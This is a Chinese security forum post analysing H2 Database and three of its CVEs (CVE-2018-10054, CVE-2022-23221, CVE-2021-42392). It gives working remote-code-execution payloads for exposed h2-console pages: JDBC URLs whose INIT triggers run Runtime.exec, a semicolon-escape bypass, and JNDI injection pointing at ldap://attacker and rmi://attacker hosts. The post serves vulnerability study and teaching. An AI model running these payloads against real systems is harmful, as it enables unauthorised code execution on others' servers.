首页
社区
课程
招聘
[原创]H2 Database及其三个CVE详细分析
发表于: 1天前 342

[原创]H2 Database及其三个CVE详细分析

1天前
342

H2 DataBase

H2 profile

一个纯 Java 编写的开源 SQL 数据库

有以下五个特征:

  • 体积小巧,零依赖

  H2 Database 主要为嵌入式场景设计

        所以体积相比其他数据库更加轻量且不依赖任何外部库,单个 JAR 文件只需 2.1–2.7 MB

  • Browser-based Console

  H2 提供基于浏览器的 Web 管理界面,便于开发和调试

  • 磁盘 / 内存双模式

        既可以将数据持久化到磁盘文件,也支持纯内存数据库,适用于不同使用场景

  • 嵌入式 / 服务端双模式

        可嵌入 Java 应用进程内运行(Embedded 模式),也可作为独立数据库服务器运行

  • 原生支持 JDBC 接口

  H2 原生兼容 JDBC,便于 Java 应用快速集成


此外,H2 Database 的设计初衷是被用于内网环境或受保护的开发环境中,而非直接暴露至公网环境中

官方文档提到:H2 is not designed to be run outside of a secure environment.

所以 H2 官方其实不承认很多因为 web ui 暴露至公网所导致的 CVE

言外之意:我压根就不是这么设计的,你非要这么用,那后果自负

(虽然后面还是会打相应的补丁)

H2 JDBC

JDBCJava 提供的 访问数据库的标准 API ,全称是 Java Database Connectivity

H2JDBC URL 如下:

jdbc:h2:<mode>:<database>;<setting1>;<setting2>;...


<mode> 决定数据库的存储/连接方式

mode

含义

示例

mem

纯内存数据库

jdbc:h2:mem:test

file/不写

本地磁盘文件数据库

jdbc:h2:file:/data/test

等价于

jdbc:h2:/data/test

tcp

TCP/IP 远程连接

jdbc:h2:tcp://127.0.0.1/~/test

ssl

SSL 加密远程连接

jdbc:h2:ssl://127.0.0.1/~/test


<database> 是数据库名称,可以是文件名、内存名称、TCP 路径等

连接形式

JDBC URL

<database> 示例

说明

内存数据库

jdbc:h2:mem:test

test

内存数据库名称

匿名内存数据库

jdbc:h2:mem:

未显式指定名称

本地文件数据库

jdbc:h2:file:/data/test

/data/test

本地数据库文件路径

本地文件数据库

jdbc:h2:~/test

~/test

用户主目录下的数据库路径

TCP 远程连接

jdbc:h2:tcp://localhost/~/test

//localhost/~/test

远程服务器上的数据库路径

SSL 远程连接

jdbc:h2:ssl://db.example.com/prod/test

//db.example.com/prod/test

远程服务器上的数据库路径


<setting> 是可选的连接参数,控制数据库行为

漏洞常见的 setting 包括但不限于:

参数名称

参数作用

常见值

INIT

H2 JDBC URL 初始化参数,连接建立后自动执行 SQL

RUNSCRIPT FROM '...'

IGNORE_UNKNOWN_SETTINGS

忽略未知 JDBC URL 参数,避免因额外参数报错

TRUE

FORBID_CREATION

控制是否禁止创建数据库

FALSE

driver

传入 JdbcUtils.getConnection() 的驱动类名

在 Console / Shell / 某些 SQL 过程里可控

默认为org.h2.Driver

通常劫持为

javax.naming.InitialContext

url

传入 JdbcUtils.getConnection() 的数据库 URL / JNDI URL

ldap://attacker/...

rmi://attacker/...

H2 JNDI

JNDIJava 提供的命名和目录服务标准 API ,全称是Java Naming and Directory Interface

它的作用是通过名称去查找资源,而不是在代码里直接硬编码资源对象

JNDI 注入是指当应用在初始化 JNDI 查询时

lookup() 的参数可被攻击者控制且未作过滤或过滤可绕过,攻击者可借此让应用去查询恶意命名服务

协议

作用

LDAP

轻量级目录访问协议,约定了 ClientServer 之间的信息交互格式、使用的端口号、认证方式等内容

RMI

JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象

DNS

域名服务

CORBA

公共对象请求代理体系结构

CVE

CVE-2018-10054

适用版本:H2 Database 1.4.197 以及之前的所有版本

利用前提:仅需要http://ip:port/h2-console/可访问

Poc 以及成因:

如果网站管理员将下面的两个参数设置为了 True , 就会将 h2-console 这个 web 管理 ui 界面启用

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

同时由于H2 database 预期只被部署在内网和受控网络环境中

所以 H2 Group 官方没有对 h2-console 做任何鉴权处理

h2-console 可以让我们完全自定义 JDBC 和 驱动类

同时 H2 Database 1.4.197 及之前并未禁止远程创建数据库且未对 JDBC URL 做任何过滤和限制

这就导致攻击者不需要事先知道具体有哪些数据库,也不需要考虑哪些 JDBC setting 不可用

攻击者可以任意指定数据库名,H2 database 会自动创建原本不存在的数据库

那么有以下两种攻击路径:

  1. JS

    1.   当目标 Java 版本较低时,可通过 JavaScript 方法 RCE

      Java8-Java14Java 15 以后 Java 自带的 Nashorn JavaScript 引擎被删除

      jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
          var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
          var scanner = new java.util.Scanner(is).useDelimiter("\\A")
          throw new java.lang.Exception(scanner.next())
      $$;
      --jdbc:h2:mem:test; 进入(不存在则创建)名为test的纯内存数据库
      --MODE=MSSQLServer; 把 H2 切到 SQL Server 兼容模式
      --INIT=... 连接建立时先执行一段初始化 SQL
      --CREATE TRIGGER ... AS $$//javascript ... 在数据库里注册一个触发器,并把触发器逻辑写成脚本

        结果以异常的形式被抛出


  2. JDK

    1. jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS 'String rce(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';CALL EXEC ('open -a Calculator.app');

CVE-2022-23221

适用版本:H2 Database 2.0.210 以及之前的所有版本

利用前提:仅需要http://ip:port/h2-console/可访问

Poc 以及成因:

CVE-2018-10054 被公布一段时间后,H2 Group 虽然一开始并不承认该漏洞

但最终还是在 1.4.198 修复了该漏洞

对于 H2 大于等于 1.4.198 的版本来说,如果使用CVE-2018-10054Payload,会出现如下问题

Database “mem:test” not found, either pre-create it or allow remote database creation (not recommended in secure environments)

出现该问题的原因是 H2 group 认为该漏洞是之前未禁止远程创建数据库导致的

所以H2 group加了一条 if 语句

如果攻击者访问的数据库不存在,就强制在 JDBC URL 尾部追加一条;IFEXISTS=TRUE

也就是如果攻击者访问的数据库必须存在,否则报错,不会自动新建一个数据库

但是分号是可以被转义掉的,转义之后再使用一个已知的属性接受掉后面这块多余的字符串即可

比如AUTHZPWD2.0.202之后引入的IGNORE_UNKNOWN_SETTINGS

事实上

在版本 1.4.1982.0.210 之间,H2 database 支持不识别的属性,所以其实随便按下键盘都行

jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
    var scanner = new java.util.Scanner(is).useDelimiter("\\A")
    throw new java.lang.Exception(scanner.next())
$$;XXX=\
--jdbc:h2:mem:test; 进入(不存在则创建)名为test的纯内存数据库
--MODE=MSSQLServer; 把 H2 切到 SQL Server 兼容模式
--INIT=... 连接建立时先执行一段初始化 SQL
--CREATE TRIGGER ... AS $$//javascript ... 在数据库里注册一个触发器,并把触发器逻辑写成脚本
--XXX=\使用一个已知或未知的属性接收多余字符串

CVE-2021-42392

适用版本:H2 Database 2.0.206 以及之前的所有版本(不包含H2 Database 2.0.206

利用前提:仅需要http://ip:port/h2-console/可访问

Poc 以及成因:

在之前的 CVE 中,我们只控制了JDBC URL

但是我们可以通过控制驱动类进行 JNDI 注入攻击

可以看到,Driver Class 有两种可能的类别:java.sql.Driverjavax.naming.Context

默认的org.h2.Driver是实现的java.sql.Driver接口

但在第二个if语句的注释里已经告诉我们了,这里同样支持JNDI的方式来查找数据库连接

只需要将driver class设置为javax.naming.InitialContext



传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 1天前 被zemu137编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回